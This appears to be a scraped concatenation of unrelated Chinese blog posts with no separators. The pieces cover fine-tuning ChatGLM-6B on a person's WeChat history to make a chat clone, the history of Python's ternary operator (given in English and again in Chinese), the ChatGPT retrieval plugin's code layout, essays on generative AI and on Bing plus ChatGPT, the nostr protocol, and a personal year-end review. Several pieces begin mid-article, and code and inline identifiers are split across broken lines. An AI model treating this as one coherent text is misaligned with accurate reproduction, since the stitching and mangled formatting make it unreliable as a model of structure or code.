我写了一个 python 脚本,遍历这些文本文件,找出我的所有发言,以及上一句,做成对话的格式,然后存入 json,这样,我就拥有了一个我自己的微信聊天数据集。
此时我也让同事用爬虫爬取了我自己的所有博客文章,他爬完发给我之后我才想起来,我其实可以用博客后台内置的导出功能直接导出。博客数据虽然也很干净,但我一开始并不知道如何利用,因为我要训练的是聊天的模型,而博客文章是一大段一大段的话,并不是聊天,所以我第一次训练,只用了微信的这些纯聊天记录。
我选择了 chatglm-6b 作为预训练模型,一方面它的中文效果已经被训练的足够好了,另一方面它的参数是 60 亿,我的机器能不太费力的跑起来,还有个原因是,在 github 已经有好几个对其进行微调训练的方案了(我会一起列在文末)
考虑到我的微信聊天数据最终可用大约 10 万条,我设置了比较低的学习率,同时增加了epoch,在几天前的一个晚上,睡前,我写完训练脚本,并开始运行,然后我就开始睡觉,希望睡醒之后能跑完,但那个晚上我差不多每隔一个小时就醒一次。
早上起来之后,模型训练完了,遗憾的是 loss 下降的并不好,也就意味着12个小时训练出来的模型,并不算好,但我是个深度学习的菜鸡,能跑完不报错我已经谢天谢地了,所以我并没有感到失望,而是开始用这个模型来跑对话。
为了增加一点仪式感,我不想用 jupyter 笔记,或在黑黢黢的终端里去聊天,我找了个开源的前端聊天页面,略做修改,然后把模型部署起来,封装了 API ,然后用前端页面去调用这个 API,于是就可以实现比较像那么回事的聊天了。
请不笑话我,我用自己的 10 万条微信聊天记录,训练出的模型,以下是我和他(或者它?)的第一次对话
我又试了下,结果依然不是很好,我不是那种不优化到极致就不好意思拿出手的人,因此我毫不害羞的直接发给了几个朋友,他们给我的反馈是,有点像你,同时他们给我返了对话截图。
第一个版本,这个模型确实具备某些跟我比较类似的点,我说不好,但有一点这种感觉。
如果你问它,你哪里读的大学,或者你老家是哪里,它并不会回答出准确的信息,并且肯定说的是错的,因为我的聊天记录中并不会有很多人这么问我,从某种角度上,这个模型并不了解我,它像是一个克隆。
当我收到一条微信消息,内容为 A,我回复了 B,那么这里是有一些原因的,这些原因中的一部分,储存在我物理脑袋的七八十亿个神经元里,理论上,如果我产生的数据足够多,也许几千亿条,那么一个参数够大的人工智能模型,就能非常接近我的脑子,10万条也许少了一些,但也足以让模型的60亿个参数里改变一部分,使其相较于原始的预训练模型,更接近我一点。
此外它还有个更大的缺点,就是蹦不出来几个字,回答非常简略,这虽然符合我很多时候的微信聊天风格,但并不是我想要的,我想要它说更多话。
此时我忽然想到了我的博客,如何能把这些博客转换为问答呢,我想到了 chatgpt ,在我精心构造的 prompt 之下,它成功把我博客文章的一段文本,变成了多个对话形式的问答:
某些时候 chatgpt 会返回一些不符合格式的内容,所以我写了一个校对脚本,来将各种不符合规则的返回,统统修改为标准的json,且字段名不变。
然后我将其封装为一个接口,放在了香港的服务器上,并在我的电脑上写了一个脚本,把我的博客文章按照500字划分,拿去批量转成问答,受限于chatgpt的接口速度,我差不多又花了一晚上,才把我的两百多篇博文,转换成了差不多 5000 个对话数据集。
此时我面临一个选择,如果将博客对话加到微信对话数据集里去训练,那么博客对话占比太低,可能影响会非常小,也就是说跟之前的模型差别不大;另一个选择是单纯用文章的这些数据,去训练一个新模型。
我向 6pen 的算法老哥寻求帮助,在确定模型权重可以融合并想办法从他那顺到融合脚本后,采用了后一种方式。
5000个问答,训练速度很快,一两个小时就够了,下午我一边写文档一边瞅一眼训练进度,下班之前训练完毕,我开始进行模型的融合,让之前的用微信聊天记录训练的模型,和用我的博客训练的模型进行融合。
两个模型的权重可以自由配置,我尝试了多种不同的比例,考虑到模型收敛过程中 loss 还有一些反弹,我还尝试了不同步数的模型版本
我整晚整晚和这些模型对话,找到效果最好的,但我发现,我似乎很难找出来,这些模型,有一些不同的表现,有的会比较暴躁,有的像舔狗一样,有些特别高冷,有些则很热情,然后我意识到,某种程度上,这或许是我的不同面,这么理解虽然肯定会让搞深度学习,并对其中原理烂熟于胸的人嗤之以鼻,但不失一些浪漫。
最终我发现,聊天和文章两个模型,权重比为 7 比 2 ,且采用第 6600 步保存的模型,融合效果在更多时候,都要更好一点,当然也可能是那个时候已经半夜两点,我的判断力有所下降,但无论如何,我就把他确定为最终模型了。
我和他聊了很多。
很明显,他和 chatgpt 差的极远,没办法帮我写代码,或者写文案,也不够聪明,因为训练用的数据不包含多轮对话,所以多轮对话的理解力更差,与此同时,他对我也不算特别了解,除了知道自己的名字(也就是我的名字),我的其他很多信息,他其实并不能准确回答,但是,他经常会说一些简单的几个字,让我有一种熟悉的感觉,也可能是错觉,谁知道呢。
总的来说,现在存在的所有广为人知的文本大模型,都是用海量的数据训练的,训练过程会尽可能包含全人类所产生的所有信息,这些信息让模型的亿万参数得以不断优化,例如第2043475个参数增加4,第9047113456个参数减少17,然后得到更聪明的神经网络模型。
这些模型变得越来越聪明,但它们更像是人类的,而非个体的,当我用我自己的这些数据去重新训练模型时,我能得到完全不一样的东西,一个更靠近个体的模型,虽然无论是我产生的数据量,还是我采用的预训练模型的参数量和结构,可能都无法支撑起一个能够和我的脑子差不多的模型,但对此进行的尝试,依然非常有意思。
我将这个网页重新部署了一下,并在中间加了一层 serverless 做保护,因此,现在所有人都可以去试试和这个我的数字版聊天,服务由我的祖传V100服务器提供,并且只有一台,所以如果人多的话,可能会有各种问题,链接我会放在最下面。
积极的,发自内心的产出更多的数据,就越有可能在未来获得更接近你的数字拷贝,这或许会有一些道德,甚至伦理问题,但这是大概率会发生的事情,之后我的数据积累的更多,或有更好的预训练模型,训练方式,我可能随时都会重新再次尝试训练,这不会是一个盈利,或任何跟商业沾边的项目,这某种程度上算是我自己追寻自己的一种方式。
这样一想,人生似乎都少了一些孤独感。
附
我的数字克隆在线聊天:https://ai.greatdk.com
我使用和参考的项目:
condition ? expression1 : expression2
, where expression1
is taken if condition
is true, and expression2
is taken if condition
is false.a ? b : c
can be read as “if the condition a
is true, then b
is returned; otherwise, c
is returned.”// use if-else
if (a > b) {
result = x;
} else {
result = y;
}
// use the ternary operator
result = a > b ? x : y;
<condition> ? <expression1> : <expression2>
<condition> then <expression1> else <expression2>
(if <condition>: <expression1> else: <expression2>)
<condition> and <expression1> else <expression2>
<expression1> if <condition> else <expression2>
cond(<condition>, <expression1>, <expression2>)
(if <condition>: <expression1> else: <expression2>)
, which is a flattened version of the conventional if-else syntax that is easy to understand. However, the downside is that it requires parentheses, which can be confused with generator expressions, and requires special treatment of the colon by the interpreter.<expression1> if <condition> else <expression2>
, which was the recommended solution in the earliest version of PEP-308. However, some people find the style of not placing the condition first uncomfortable, and when “expression1” is long, it is easy to overlook its condition.<condition> and <expression1> or <expression2>
syntax to implement conditional selection. However, this syntax behaves differently in Python than in some other languages, and if used improperly, it can result in bugs!a = True and True or "Python cat"
b = True and False or "Python cat"
<condition> and <expression1> or <expression2>
, if the condition is false, expression2 is evaluated and returned directly. If the condition is true, expression1 is evaluated first. If it is also true, expression2 will not be evaluated further. If expression1 is false, expression2 will be evaluated.X if C else Y
. As a result, PEP-308 was reopened and updated, and it was soon implemented in the 2.5 version the following year.X if C else Y
is very easy to understand and highly readable. It continues the style of “explicit is better than implicit” by using the intuitive and conversational “if-else” instead of introducing potentially confusing punctuation, just like how Python chooses the words “and” and “or” instead of the symbols ”&&” and ”||“.(if <condition>: <expression1> else: <expression2>)
.X if C else Y
, Guido examined all the “and-or” combinations in the standard library and found that those written as C and X or Y
could be replaced by X if C else Y
. The situation in the standard library proved that this new syntax is feasible.X if C else Y
design was actually to eliminate the pitfalls of the “and-or” syntax. This design is concise and easy to read.?:
operator?“.?:
operator and instead recommends using the native “if-else” syntax. The explanation in the documentation is brief, with only one sentence:The reason
?:
is absent from Go is that the language’s designers had seen the operation used too often to create overly complex expressions. Theif-else
form, although longer, is unquestionably clearer. A language needs only one conditional control flow construct.
if
syntax is not a “statement” like in other languages, but an “expression”, which means that you can directly assign the if
expression to a variable:// Gets 5 if the condition is true, otherwise 6
let number = if condition { 5 } else { 6 };
let x = 42;
let result = if x > 50 {
println!("x is greater than 50");
x * 2 // This is an expression that will assign its returned value to the variable 'result'
} else {
println!("x is less than or equal to 50");
x / 2
};
if
is an expression instead of a statement, such as Kotlin, Scala, F#, and Swift. They theoretically do not need to use the ternary operator. (As an aside, Swift is an exception, and it also has a ternary operator. Kotlin has the “?: ” operator, note that the two symbols are connected together. val result = a ?: b
means: if a
is not null
, assign it to result
; otherwise, assign b
to result
.)condition ? expression1 : expression2
,如果 condition 为真,则取 expression1,若不为真,则取 expression2。// 常规 if-else
if (a > b) {
result = x;
} else {
result = y;
}
// 简化后的写法
result = a > b ? x : y;
<condition> ? <expression1> : <expression2>
<condition> then <expression1> else <expression2>
(if <condition>: <expression1> else: <expression2>)
<condition> and <expression1> else <expression2>
<expression1> if <condition> else <expression2>
cond(<condition>, <expression1>, <expression2>)
(if <condition>: <expression1> else: <expression2>)
,它是常规 if-else 语法的扁平化,容易理解,但缺点是需要使用圆括号,容易跟生成器表达式混淆,而且需要解释器对冒号做特殊化处理。<expression1> if <condition> else <expression2>
,它是 PEP-308 最早版本的推荐方案,但是这种不将条件放在首位的风格让一些人感觉不舒服,而且,当“expression1”很长的时候,很容易就忽略掉它的条件。<condition> and <expression1> or <expression2>
的方式来实现条件判断与选择。但是这种写法在 Python 中的行为跟有些语言并不一样,使用不严谨的话,可能会酿成 Bug!a = True and True or "Python猫"
b = True and False or "Python猫"
<condition> and <expression1> or <expression2>
,若 condition 为假,则会直接对 expression2 求值并返回结果;若 condition 为真,则先对 expression1 求值,若也为真,则不会继续对 expression2 求值,若 expression1 不为真,则对 expression2 求值。X if C else Y
。因此,PEP-308 被重开和更新,并很快就在次年的 2.5 版本中实现了。X if C else Y
非常易于理解,可读性高。它延续了“明确优于隐式”的风格,使用了直观口语化的“if-else”,而不是引入可能引起混淆的标点符号,就像 Python 选择“and”和“or”两个单词,而不是“&&”和“||”两个符号,它们有着异曲同工之妙。(if <condition>: <expression1> else: <expression2>)
那样的繁琐。X if C else Y
的有效性,Guido 排查了标准库中所有“and-or”组合的写法,发现那些C and X or Y
写法都可以被X if C else Y
替换掉。标准库的情况,证明了这新的语法是可行的。X if C else Y
这种设计,主要的意图其实是消除“and-or”写法的隐患,这种设计简明易读,非常好用。?:
operator?”。Go 语言没有 ?: 运算符,因为语言的设计者们经常看到它被用来创建难以理解的复杂表达式。虽然 if-else 形式比较长,但是它无疑更清晰易懂。一个语言只需要一个条件控制流结构。
// 若条件为真,得到 5,否则 6
let number = if condition { 5 } else { 6 };
let x = 42;
let result = if x > 50 {
println!("x is greater than 50");
x * 2 // 这是一个表达式,将返回的值赋给 result
} else {
println!("x is less than or equal to 50");
x / 2 // 也是一个表达式,将返回的值赋给 result
};
val result = a ?: b
表示:如果 a
不为 null
,则赋值给 result
;否则将 b
赋给 result
)目录 | 描述 |
---|---|
datastore | 包含使用各种向量数据库提供程序存储和查询文档嵌入的核心逻辑 |
examples | 包括配置示例、身份验证方法和面向程序提供方的示例 |
models | 包含插件使用的数据模型,例如文档和元数据模型 |
scripts | 存放实用的脚本,用于处理和上传来自不同数据源的文件 |
server | 存放主要的 FastAPI 服务端实现 |
services | 包含用于任务(如分块、元数据提取和 PII 检测)的实用服务 |
tests | 包括各种向量数据库提供程序的集成测试 |
.well-known | 存储插件清单文件和 OpenAPI 格式,定义插件配置和 API 规范等信息 |
抽象工厂设计模式
,DataStore 是一个抽象类,每种数据存储库是具体的实现类,需要实现三个抽象方法:_upsert(chunks: Dict[str, List[DocumentChunk]]) -> List[str]
方法,接收一个字典参数,包含有 DocumentChunk 对象列表,将它们插入到数据库中。返回值为文档 ID 的列表。_query(queries: List[QueryWithEmbedding]) -> List[QueryResult]
方法,接收一个列表参数,包含被 embedding 的查询文本。返回一个包含匹配文档块和分数的查询结果列表。delete(ids: Optional[List[str]] = None, filter: Optional[DocumentMetadataFilter] = None, delete_all: Optional[bool] = None, ) -> bool
方法,根据 id 和其它过滤条件删除,或者全部删除。返回操作是否成功。factory.py
模块使用了 Python 3.10 新引入的 match-case 语法,紧跟着 Python 社区的新潮流呢~main.py
文件,是整个项目的启动入口。它使用了目前主流的 FastAPI 框架,提供了增删改查的几个 API,另外使用 uvicorn 模块来启动服务。/upsert-file
接口,用于上传单个文件,将其转换为 Document 对象,再进行新增或更新/upsert
接口,上传一系列的文档对象,用于新增或更新/query
接口,传入一系列的文本条件,转成 QueryWithEmbedding 对象后,再从向量数据库查询/delete
接口,根据条件删除或者全部删除数据库中的数据/query
接口,提供给 ChatGPT 调用。text-embedding-ada-002
模型对给定的文本进行嵌入。get_chat_completion 函数使用 OpenAI 的 ChatCompletion API 生成对话。那是一个下午,办公室的咖啡机坏了,我在楼下买了一杯厚乳拿铁,上楼后发现同事都出去吃午饭了,我一个人坐在窗边的工位上,升起的阳光正好覆盖在了我的电脑屏幕上,浏览器的文字都变得模糊起来,我眯起眼睛,试图看清屏幕上的字,依稀能看到我的代码编辑器,正在用 post 方法请求 openai 的接口,header 里的鉴权还空着,等着我写入 API KEY,光标就在此处闪烁,然后我长呼了一口气,第一次有了这个感觉。
从去年 4 月开始做 AI 绘画的产品(也就是 6pen )开始,我一直处在兴奋状态中,连人都胖了5斤,我带着团队充满干劲的打磨产品,探索新的模式,研究新的技术,三天两头就跑一个新的什么 AI 模型,看论文,看行业最新的分析,看哪个大厂又出了个什么好玩意儿,看哪些噱头包装的多好,然后我们的产品也获得很多的用户的反馈,数据的增长,各种各样的靠谱的不靠谱的合作。
我和很多人一样相信,我们在一个新的时代拐点上,我们将见证并亲历这次如有如互联网的诞生,移动互联网的诞生,甚至蒸汽机的诞生一般的变革,并可能有幸参与其中,如果说 AI 是一锅热油,各行各业都是要被油过一遍的食材,那我们就是姜蒜末,除了油本身之外,是最先感受到油的温度的那一批,而现在,大家都被倒了进来,噼里啪啦,很热闹。
图片生成和文本生成,则像 AI 巨人的两条腿,奔跑着迈过人类用自身构筑的脆弱的堡垒,向更深处前进。
从去年开始,许多美术工作者将会被 AI 替代的说法就不绝于耳,但始终像一个传闻,今年情况则骤然转变,我身边就有不止一例因为 AI 带来的效率提升而失去工作的例子,技术发展的不确定性依然存在,但唯一确定的是,这只是一个开始。
没有任何人能够嘲笑美术工作者,因为没有人能不被影响。
代码能被 AI 很好的生成,产品需求可以被 AI 很好的生成,翻译是 AI 的绝活,写文章,故事,发言稿是 AI 的拿手戏,新闻摘要编辑,投资决策,市场分析,法律咨询,对话,发明新菜品,写论文,参加考试,这些我提到的和没提到的,在目前其实已经超过人类的平均水平了,达到人类的顶尖水平也只是时间问题,这样一来,有哪个职业,哪个行业能幸免遇难呢?
汽车替代了马车,但是让人类的生活更好,也带来了更多工作机会,这是一个绝好的,证明我们不应该忧虑的例子,我其实是部分同意这个说法的,甚至在一开始,一些朋友向我表达担忧的时候,我也是举这个例子来回复对方,但现在我觉得情况并不是这么简单。
我是热爱并且积极拥抱这些最新最酷的技术的人之一,但我猛然想到,那些不那么乐意拥抱新技术的人,就一定要被淘汰,这也是让人挺不舒服的一件事,某种程度上这有点像被新技术绑架,有些人乐于被绑架,那其实挺好,有些人不那么乐意被绑架,于是只能不开心的拥抱,或者逐渐失去自己的位置,这其实挺让人难受的。技术发展的这一点,无可指摘,但确实悲悯。作为乐意被绑架的人,我们也没有任何理由幸灾乐祸,因为这次,这个技术,我们乐于被绑架,下次呢,下次万一我们甚至连被绑架的资格都没有呢?
另一个和之前不同的地方则是,生成式 AI,不是让人跑得更快,跳得更高,力气更大,或者憋气更久的什么东西,它是关于创造的,是关于艺术的,某种程度上,我觉得这些可以称之为人类的意义,我不能说,我们在创造一种技术,来毁灭我们存在的意义,这么说肯定夸大其词,但我确实有在想,如果未来的某一天,AI 代替我们思考和创造,我们还剩下什么,所谓的 prompt 的艺术,其实也只是在 AI 还不够完善的时候,一种中间形态而已。AI 会释放人类的创造力,还是毁灭人类的创造力,好像还真的说不好,因为人虽然有无穷的创造力,但是也很懒。
生产力的无限提高,只有一个结果,就是不需要生产。
baye 是我敬仰的一位开发者,他也是著名的短信拦截应用熊猫吃短信的开发者,他前不久快速做了一个 iOS 的 app,实现了chatgpt 的第三方客户端,这成为了他数据上最成功的产品,但他在推文中写到「我一点感受不到兴奋和鼓舞。这是我做的最没技术含量或者说没有我个人烙印的产品了,就是一个 api wrapper 而已。我只感受到了热点的力量,没有感受到我的力量。这种感觉让我很是迷茫。」
我知道的不少更资深的开发者,因为类似的原因,反而不如很多雄心勃勃的新手,AI 成为了一种武器,你只能选择使用或不使用,使用之后,个性和特点将被磨的更平,当然不会完全消失,但正因为 AI 的强大,边边角角的巧思显然会完全被那些绝佳的,生成的内容给盖过,以至于更难被人们注意到。
我不是想说技术的坏话,毫无疑问,底层大模型的开发者研究人员,是真正在推动人类向新的阶段迈进的,这是某种必然,但我们之后会迎来一个怎样的世界,我觉得说不好,我们也应该更谨慎一些。
小时候我常常幻想未来生活在一个科幻的世界,星际旅行,时空穿梭,瞬间移动,发射激光波,这个世界显然没有到来,但用另一种方式,现在的这个世界,似乎更加科幻。
这就是我那个下午想到的,然后我喝完咖啡,继续工作了。
花开了,好友们再次约着去颐和园,相比一个月前 …
本篇文章整理值接收器与指针接收器相关知识 …
一直都没有梳理过基于 Web 服务 Session / Token 认证方式,刚 …
前段时间用 ChatGPT 问了不少问题,菜谱、脚本、起变量/模 …
本文介绍使用 Redis 锁来限制接口的并发请求。
--disable-gil
,作用是构建出一个线程安全的无 GIL 的解释器。北京史家胡同是位于中国北京市西城区金融街 …
之前使用 go-pg ORM 更新数据库字段为 Go 语言中零值 …
*args, **kwargs
的时代即将结束,它们将被带有类型注释的签名所取代。类型极大地提高了代码可读性。当可读性与便利的 IDE 相结合,阅读庞大的 Python 代码库将变得相对容易。另一方面,在习惯了类型信息带来的超能力之后,无类型的代码库会更让人感到难受。两个月前,我试着想用 ChatGPT 帮我写篇文章《eBPF 介绍》,结果错误百出,导致我又要从头改一遍,从那天我觉得 ChatGPT 生成的内容完全不靠谱,所以,从那天开始我说我不会再用 ChatGPT 来写文章(这篇文章不是由 ChatGPT 生成),因为,在试过一段时间后,我对 ChatGTP 有基于如下的认识:
所以,基于上面这两个点认识,以发展的眼光来看问题,我觉得 ChatGPT 这类的 AI 可以成为一个小助理,他的确可以干掉那些初级的脑力工作者,但是,还干不掉专业的人士,这个我估计未来也很难,不过,这也很帅了,因为大量普通的工作的确也很让人费时间和精力,但是有个前提条件——就是ChatGPT所产生的内容必需是真实可靠的,没有这个前提条件的话,那就什么用也没有了。
今天,我想从另外一个角度来谈谈 ChatGPT,尤其是我在Youtube上看完了微软的发布会《Introducing your copilot for the web: AI-powered Bing and Microsoft Edge 》,才真正意识到Google 的市值为什么会掉了1000亿美元,是的,谷歌的搜索引擎的霸主位置受到了前所未有的挑战……
我们先来分析一下搜索引擎解决了什么样的用户问题,在我看来搜索引擎解决了如下的问题:
基本上就是上面这几个,搜索引擎在上面这几件事上作的很好,但是,还是有一些东西搜索引擎做的并不好,如:
好了,我们知道,ChatGPT 这类的技术主要是用来根据用户的需求来按一定的套路来“生成内容”的,只是其中的内容并不怎么可靠,那么,如果把搜索引擎里靠谱的内容交给 ChatGPT 呢?那么,这会是一个多么强大的搜索引擎啊,完全就是下一代的搜索引擎,上面的那些问题完全都可以解决了:
一旦 ChatGPT 利用上了搜索引擎内容准确和靠谱的优势,那么,ChatGPT 的能力就完全被释放出来了,所以,带 ChatGPT 的搜索引擎,就是真正的“如虎添翼”!
因此,微软的 Bing + ChatGPT,成为了 Google 有史以来最大的挑战者,我感觉——所有跟信息或是文字处理相关的软件应用和服务,都会因为 ChatGPT 而且全部重新洗一次牌的,这应该会是新一轮的技术革命……Copilot 一定会成为下一代软件和应用的标配!
(全文完)
(转载本站文章请注明作者和出处 酷 壳 – CoolShell ,请勿用于任何商业用途)
这两天在网络上又有一个东西火了,Twitter 的创始人 @jack 新的社交 iOS App Damus 上苹果商店(第二天就因为违反中国法律在中国区下架了),这个软件是一个去中心化的 Twitter,使用到的是 nostr – Notes and Other Stuff Transmitted by Relays 的协议(协议简介,协议细节),协议简介中有很大的篇幅是在批评Twitter和其相类似的中心化的产品,如:Mastodon 和 Secure Scuttlebutt 。我顺着去看了一下这个协议,发现这个协议真是非常的简单,简单到几句话就可以讲清楚了。
EVENT
。发出事件,可以扩展出很多很多的动作来,比如:发信息,删信息,迁移信息,建 Channel ……扩展性很好。REQ
。用于请求事件和订阅更新。收到REQ
消息后,relay 会查询其内部数据库并返回与过滤器匹配的事件,然后存储该过滤器,并将其接收的所有未来事件再次发送到同一websocket,直到websocket关闭。CLOSE
。用于停止被 REQ
请求的订阅。EVENT
。用于发送客户端请求的事件。NOTICE
。用于向客户端发送人类可读的错误消息或其他信息EVENT
下面是几个常用的基本事件:
0
: set_metadata
:比如,用户名,用户头像,用户简介等这样的信息。1
: text_note
:用户要发的信息内容2
: recommend_server
:用户想要推荐给关注者的Relay的URL(例如wss://somerelay.com
)那么,这个协议是如何对抗网络审查的?
嗯,听起来很简单,整个网络是构建在一种 “社区式”的松散结构,完全可能会出现若干个 relay zone。这种架构就像是互联网的架构,没有中心化,比如 DNS服务器和Email服务器一样,只要你愿意,你完全可以发展出自己圈子里的“私服”。
其实,电子邮件是很难被封禁和审查的。我记得2003年中国非典的时候,我当时在北京,当时的卫生部部长说已经控制住了,才12个人感染,当局也在控制舆论和删除互联网上所有的真实信息。但是,大家都在用电子邮件传播信息,当时基本没有什么社交软件,大家分享信息都是通过邮件,尤其是外企工作的圈子,当时每天都要收很多的非典的群发邮件,大家还都是用公司的邮件服务器发……这种松散的,点对点的架构,让审查是基本不可能的。其实,我觉得 nostr 就是另外一个变种或是升级版的 email 的形式。
但是问题来了,如果不能删号封人的话,那么如何对抗那些制造Spam,骗子或是反人类的信息呢?nostr目前的解决方案是通过比特币闪电网络。比如有些客户端实现了如果对方没有follow 你,如果给他发私信,需要支付一点点btc ,或是relay要求你给btc才给你发信息(注:我不认为这是一个好的方法,因为:1)因为少数的坏人让大多数正常人也要跟着付出成本,这是个糟糕的治理方式,2)不鼓励那些生产内容的人,那么平台就没有任何价值了)。
不过,我觉得也有可以有下面的这些思路:
总之,还是有相应的方法的,但是一定没有完美解,email对抗了这么多年,你还是可以收到大量的垃圾邮件和钓鱼邮件,所以,我觉得 nostr 也不可能做到……
最后,我们要明白的是,无论你用什么方法,审查是肯定需要的,所以,我觉得要完全干掉审查,最终的结果就是一个到处都垃圾内容的地方!
我理解的审查不应该是为权力或是个体服务的,而是为大众和人民服务的,所以,审查必然是要有一个开放和共同决策的流程,而不是独断的。
这点可以参考开源软件基金会的运作模式。
注意下面几点
如果审查是在这个框架下运作的话,虽然不完美,但至少会在一种公允的基础下运作,是透明公开的,也是集体决策的。
开源软件社区是一个很成功的示范,所以,我觉得只有技术而没有一个良性的可持续运作的社区,是不可能解决问题的,干净整齐的环境是一定要有人打扫和整理的。
(全文完)
(转载本站文章请注明作者和出处 酷 壳 – CoolShell ,请勿用于任何商业用途)
[scode type="share" size="simple"]
[/scode]
今年是我的博客第七年,也是写的第七份年终总结。从大二开始到研究生再到现在工作,每一年的变化在自己看来都不大,但现在回过来看却已经走了挺远。
虽然这一年很辛苦,也有很多不愉快的事情。但是现在能够坐下来以一个比较平静的心情来写年终总结,说明这一年整体还是顺利的。
1、2月份时候平均1:05,3-8月份平均1: 16,到了9-11月份平均1:26,11-12月份 平均1:50。睡眠时间平均仍然是有7个半小时。
早睡就和写日记很像。如果你每天都坚持写日记,那么随着坚持时间变长,每天写日记的阻力/压力会越来越小,逐渐成为一种习惯。相反,如果某天开始晚睡,短期来看好像没有问题,你还得到了更多时间玩耍,你就觉得无所谓,从而第二天会更晚的睡觉,从而越来越晚。
但是晚睡的危险在一段时间后是非常明显,第一个就是免疫力下降,第二点就是平时非常容易疲惫,很容易累,对生活的事情提不起太多劲。而且晚睡这个坏习惯一样形成,又得需要更强的自我控制才能改善。
很多时候,白天明明更专注一些,事情就能完成,但是正是因为有了“可以晚睡”的这种心态,才会让我们把事情拖到晚上才做。希望新的一年,可以慢慢的更早入睡吧。
今年博客只写了5篇,可能是历年中写的最少的一年,而且都是生活类文章。
技术文章在自己笔记本上写了一些,但是要么是片段的,要么还没有整理完全,因此都没有发出来。看到一些大佬们的技术文章,觉得差距还很大,因此希望可以理解在清楚一些再发表出来。
去年找工作期间看了一些技术类的书籍。这种书籍都是砖头,所以都是按需阅读一些章节,谈不上完整阅读完。
消遣的时候看了《阿q正传》和《病隙碎笔》。一直看到“你也配姓赵”这种的玩梗,才知道这里的赵家人就是阿q正传第一个故事里面赵太爷。阿Q喝完酒和别人侃大山,说自己和赵家也是本家呢,来抬高自己身份。第二天赵太爷就把阿Q叫过去大骂一顿,赵太爷破口骂道:“你怎么会姓赵!——你哪里配姓赵!”。《阿q正传》一共有20个短篇故事,其中《阿Q正传》和《孔乙己》可能是大家最熟悉的两个。这本书还没看完。
《病隙碎笔》中有这么一段吸引我找来看的:
生病的经验是一步步懂得满足。发烧了,才知道不发烧的日子多么清爽。咳嗽了,才体会不咳嗽的嗓子多么安详。刚坐上轮椅时,我老想,不能直立行走岂非把人的特点搞丢了?便觉天昏地暗。等到又生出褥疮,一连数日只能歪七扭八地躺着,才看见端坐的日子其实多么晴朗。后来又患尿毒症,经常昏昏然不能思想,就更加怀恋起往日时光。终于醒悟:其实每时每刻我们都是幸运的,因为任何灾难的前面都可能再加一个“更”字。
这本书每一小节只有1-2页,看起来还是比较轻松的,但是仍然也是才看到很前的一部分没看完。
今年看完了《极品老妈》、《犬夜叉》、《大理寺日志》、《机器人总动员》、《疯狂动物城》、《搜索》。
看的电影其实不多,其中《极品老妈》一共有8季,《犬夜叉》有600多集。迪斯尼的两部动画电影看特别的过瘾和感动。
不管是看书还是电影,就像旅行一样,都是增加生活意义、丰富自己的一种方式。在抖音上也看了不少的电影解说,这些解说看的时候挺有意思,但是一段时间后就什么都记不住了... 其中印象比较深的有《星期三 第一季》和《白鹿原》。
如果比较懒的话,看电影也是相对有意义的一种消遣方式了。
关于效率相关软件,在2021年,我抛弃了滴答清单,使用系统自带的提醒事项,抛弃了bear改用craft。
在2022年继续“喜新厌旧”使用notion来代替craft。到下半年的时候,notion 基本用的也少了,大部分都是备忘录+提醒事项+飞书文档,包括也尝试直接用macOS自带的“便签”来记录任务。这些变化都突出了“快速记录”与“简化流程”的核心。使用飞书文档是因为内部可以支持非常多的功能,尤其是插入思维导图、绘制流程图,这些之前需要多个软件,而现在可以在一个文档中完成,体验非常的好。
在前几年一直会执着找一个“最好的软件”来创建自己的“知识库”,四年前我写了一篇 [post cid="997" cover="" size="small"/] 文章,而后来双链笔记越来越火,我也试用过大部分的软件,并且多个软件都持续用了很长时间,mweb/bear/craft每个都持续用了一年的时间,慢慢会发现创建“自己的知识库”是一个比较理想的东西。因为理想中自己的知识库分门别类的存储自己的数字资料,自己的所有生活记录、学习记录都能整整齐齐的排列在软件中。
每个软件持续一段时间后会发现几个问题:
那是不是笔记软件没有意义,我们该使用纸笔或者txt来写的。我觉得如果纸笔就能满足你,那么用纸笔也完全没有问题。之前也看到过大佬直接用纸便签来记每天的事情,也看到过有用最简单的markdown软件,写了很多篇优质题解。
如果你觉的双链笔记能够提高你的生产力,那么就去用。如果你觉得它反而增加了你的成本,成为你记录的累赘,或者是在你需要记录的时候觉得很繁琐,那么不妨可以考虑换个更轻便的工具。
相比较个人,我觉得知识库更适合企业场景,首先因为企业文档非常多,所以分门别类非常有价值,其次有很多人来维护,让知识库的可维护性变得可能。即使在企业中,也会看到很多知识库没人更新,目录也没人调整优化。
番茄钟使用我自己开发的TLOG 来代替,从这上面也能看到我每天在电脑前的时间干了哪些事情。
现在滴答清单也支持这个功能了
去年电脑前专注的总时间1448小时,平均每天专注4小时。其实还是有不少时候忘记开番茄钟,尽管我在设计的时候,每15分钟会检查一次是否开启番茄钟,如果没有开启,则会有弹窗提示。
写了一篇面向实验室学弟学妹们的文章,总结整个毕业的流程。
1月份时候在修改和发表小论文,2-4月份一直在修改大论文。4月底基本是论文的流程都走完了。现在写起来似乎一句话就能概括当时做的事情,可是当时确实非常非常焦虑大论文的事情。盲审据说要求很高,以及可能会被抽到预答辩。2月底的时候回了学校一趟,一方面是要交些材料,另一方面回学校感觉效率更高一点。那几周又回到了考研时候的状态,白天就出宿舍去教室改论文,每段文字都去推敲是否有漏洞和不妥,能补充的实验细节、图表、数据也可能的完善。到了3月初又开始查重和降重。但是比较幸运的是盲审也通过了,也没被抽到预答辩,就顺利的毕业。
5月5号开始了远程实习(那个时候北京的疫情正是严重的时候)。
北京的疫情从冬奥会过后,就突然变得严重起来。3月中旬之后,很多公司也开始居家办公,而我则是一个人在家里完继续改论文。在盲审通过后,一直到4月中旬这段时间,可以继续修改论文,因为论文没有上传到毕业系统上。
自己一个人在家首要问题是需要自己买菜做饭。而自己的会做的菜也有限,素菜就是炒炒上海青🥬,胡萝卜、土豆之类。荤菜也很有限,比如排骨玉米汤,鸡翅、鸡翅、红烧排骨,这几个都是有手+一定的熟练度就行,都是先焯水,然后再焖结束。有几次做的红烧鸡翅还真的让我自己都觉得好吃。其他的就是买一些速冻食品再加上下面来轮流变着花样吃。比较复杂的做法比如做鱼,或者红烧肉,炒肉、虾都不怎么会做。
另一个问题就是缺乏锻炼,可能好几天都不出门。疫情居家的时候的锻炼可能就是出门做核酸吧。
6月份的时候,随着抓了几个卫健委的干部,疫情也慢慢的结束了(北京房山区卫健委副主任杨大庆等三人接受审查调查)。端午节后就正式的回公司上班了,并正式租了一个房子。
上班后的日子越发的忙碌,也越发的单调。尽管如此,这几个月中还是发生了不少的事情。
